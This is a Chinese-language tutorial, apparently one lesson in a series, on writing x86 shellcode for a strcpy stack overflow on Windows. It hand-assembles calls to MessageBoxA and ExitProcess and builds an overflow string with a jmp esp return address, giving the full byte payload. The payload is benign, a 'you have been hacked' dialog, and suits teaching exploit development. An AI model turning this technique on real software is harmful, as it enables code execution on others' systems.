前言
ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理。那么下面我们就来编写ShellCode。为了简单起见,这里我只想让程序显示一个对话框:
图1
获取相关函数的地址
那么我们下面的工作就是让存在着缓冲区溢出漏洞的程序显示这么一个对话框。由于我在这里想要调用MessageBox()这个API函数,所以说首先需要获取该函数的地址,这可以通过编写一个小程序来获取:
#include <windows.h> #include <stdio.h> typedef void (*MYPROC)(LPTSTR); int main() { HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary("user32"); //获取user32.dll的地址 printf("user32 = 0x%x\n", LibHandle); //获取MessageBoxA的地址 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA"); printf("MessageBoxA = 0x%x\n", ProcAdd); getchar(); return 0; }
其显示结果如下:
图2
由结果可知,MessageBox在我的系统中的地址为0x77d507ea,当然这个地址在不同的系统中,应该是不同的,所以大家在编写ShellCode之前,一定要先查找所要调用的API函数的地址。
由于我们利用溢出操作破坏了原本的栈空间的内容,这就可能会在我们的对话框显示完后,导致程序崩溃,所以为了谨慎起见,我们这里还需要使用ExitProcess()函数来令程序终止。这个函数位于kernel32.dll里面,所以这里同样可以使用上述程序进行函数地址的查找,只要稍微修改一下就可以了:
图3
编写汇编代码
接下来需要编写欲执行的代码,一般有两种方式——C语言编写以及汇编编写,不论采用哪种方式,最后都需要转换成机器码。这里我比较倾向于使用汇编进行编写。请大家放心的是,虽然说是汇编,但其实是非常简单的汇编,请大家不要有畏惧的心理。
那么在进行汇编代码的编写之前,我想首先给大家讲一下如何利用汇编语言实现函数的调用。
可能大家也都知道,在汇编语言中,想调用某个函数,是需要使用CALL语句的,而在CALL语句的后面,需要跟上该函数在系统中的地址。因为我刚才已经获取到了MessageBox()与ExitProcess()函数的地址,所以我们在这里就可以通过CALL相应的地址的方法来调用相应的函数。但是实际上,我们在编程的时候,一般还是先将地址赋给诸如eax这样的寄存器,然后再CALL相应的寄存器,从而实现调用的。
如果说我们想要调用的函数还包含有参数,那么我们就需要先将参数利用PUSH语句从右至左分别入栈,之后再调用CALL语句。比如现在有一个Function(a,b,c)函数,我们想调用它,那么它的汇编代码就应该编写为:
push c
push b
push a
mov eax,AddressOfFunction
call eax
根据这个思想,我们就可以在VC++中利用内联汇编来调用ExitProcess()这个函数:
xor ebx, ebx
push ebx
mov eax, 0x7c81cafa
call eax
接下来编写MessageBox()这个函数调用。与上一个函数不同的是,这个API函数包含有四个参数,当然第一和第四个参数,我们可以赋给0值,但是中间两个参数都包含有较长的字符串,这个该如何解决呢?我们不妨先把所需要用到的字符串转换为ASCII码值:
Warning :
\x57\x61\x72\x6e\x69\x6e\x67
You have beenhacked!(by J.Y.) :
\x59\x6f\x75\x20\x68\x61\x76\x65\x20\x62\x65\x65\x6e\x20\x68\x61\x63\x6b\x65\x64\x21\x28\x62\x79\x20\x4a\x2e\x59\x2e\x29
然后将每四个字符为一组,进行分组,将不满四个字符的,以空格(\x20)进行填充:
Warning :
\x57\x61\x72\x6e
\x69\x6e\x67\x20
You have beenhacked!(by J.Y.) :
\x59\x6f\x75\x20
\x68\x61\x76\x65
\x20\x62\x65\x65
\x6e\x20\x68\x61
\x63\x6b\x65\x64
\x21\x28\x62\x79
\x20\x4a\x2e\x59
\x2e\x29\x20\x20
这里之所以需要以\x20进行填充,而不是\x00进行填充,就是因为我们现在所利用的是strcpy的漏洞,而这个函数只要一遇到\x00就会认为我们的字符串结束了,就不会再拷贝\x00后的内容了。所以这个是需要特别留意的。
由于我们的计算机是小端显示,因此字符的进展顺序是从后往前不断进栈的,即“Warning”的进栈顺序为:
push 0x20676e69
push 0x6e726157 // push "Warning"
“You have beenhacked!(by J.Y.)”的进栈顺序为:
push 0x2020292e
push 0x592e4a20
push 0x79622821
push 0x64656b63
push 0x6168206e
push 0x65656220
push 0x65766168
push 0x20756f59 // push "You have beenhacked!(by J.Y.)"
那么下面问题来了,我们如何获取这两个字符串的地址,从而让其成为MessageBox()的参数呢?其实这个问题也不难,我们可以利用esp指针,因为它始终指向的是栈顶的位置,我们将字符压栈后,栈顶位置就是我们所压入的字符的位置,于是在每次字符压栈后,可以加入如下指令:
mov eax,esp 或 mov ecx,esp
这样就可以了,最后再进行函数的调用:
push ebx
push eax
push ecx
push ebx
mov eax,0x77d507ea
call eax // call MessageBox
综合以上,完整的代码如下:
int main() { _asm{ sub esp,0x50 xor ebx,ebx push ebx // cut string push 0x20676e69 push 0x6e726157 // push "Warning" mov eax,esp push ebx // cut string push 0x2020292e push 0x592e4a20 push 0x79622821 push 0x64656b63 push 0x6168206e push 0x65656220 push 0x65766168 push 0x20756f59 // push "You have been hacked!(by J.Y.)" mov ecx,esp push ebx push eax push ecx push ebx mov eax,0x77d507ea call eax // call MessageBox push ebx mov eax, 0x7c81cafa call eax // call ExitProcess } return 0; }
将汇编代码改写为ShellCode
然后在VC中在程序的“_asm”位置先下一个断点,然后按F5(Go),再单击“Disassembly”,就能够查看所转换出来的机器码(当然也可以使用OD或者IDA查看):
图4
将这些机器码提取出来,就是我们想让计算机执行的 ShellCode。然后我们再综合一下上节课所讲的内容,从而编写出完整的ShellCode:
char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41" // name[0]~name[7] "\x41\x41\x41\x41" // EBP "\x79\x5b\xe3\x77" // Return Address "\x83\xEC\x50" // sub esp,0x50 "\x33\xDB" // xor ebx,ebx "\x53" // push ebx "\x68\x69\x6E\x67\x20" "\x68\x57\x61\x72\x6E" // push "Warning" "\x8B\xC4" // mov eax,esp "\x53" // push ebx "\x68\x2E\x29\x20\x20" "\x68\x20\x4A\x2E\x59" "\x68\x21\x28\x62\x79" "\x68\x63\x6B\x65\x64" "\x68\x6E\x20\x68\x61" "\x68\x20\x62\x65\x65" "\x68\x68\x61\x76\x65" "\x68\x59\x6F\x75\x20" // push "You have been hacked!(by J.Y.)" "\x8B\xCC" // mov ecx,esp "\x53" // push ebx "\x50" // push eax "\x51" // push ecx "\x53" // push ebx "\xB8\xea\x07\xd5\x77" "\xFF\xD0" // call MessageBox "\x53" "\xB8\xFA\xCA\x81\x7C" "\xFF\xD0"; // call MessageBox
由于我们这里调用了MessageBox,因此需要在源程序中加入“LoadLibrary(“user32.dll”);”这条语句用于加载相应的动态链接库,而由于使用了LoadLibrary(),还需要加入“windows.h”这个头文件。然后运行程序,可以看到我们已经成功利用了漏洞:
图5
利用OD查看反汇编程序
最后可以再观察一下OD的数据以及堆栈区域的情况:
图6
这里大家可以自行对照。然后我们执行到main函数的返回位置,再按下F8(单步执行),经过jmp esp的跳转后,就来到了我们所编写的 ShellCode的位置:
图7
这个时候我们再通过OD来观察一下MessageBox()这个函数的参数入栈情况。先执行到0x0012FF98的位置:
图8
可以看到“Warning”字符串已经入栈,此时esp指向的就是栈帧,也就是“Warning”字符串的位置,而此时将esp的值赋给eax,那么也就可以理解为eax中保存的就是“Warning”字符串。
第二个字符串入栈的原理和这个是一样的,在这里不再赘述。然后就是调用MessageBox()函数:
图9
可以看到相应的参数已经入栈,那么对话框得以弹出,说明我们的漏洞利用是成功的。
小结
事实上,编写一个完整的ShellCode是没那么简单的,是需要考虑很多的问题的。比如我们这次所编写的这个简单的 ShellCode,可以完善的地方还有很多。而关于ShellCode的完善,我会在下次课程中详细讨论。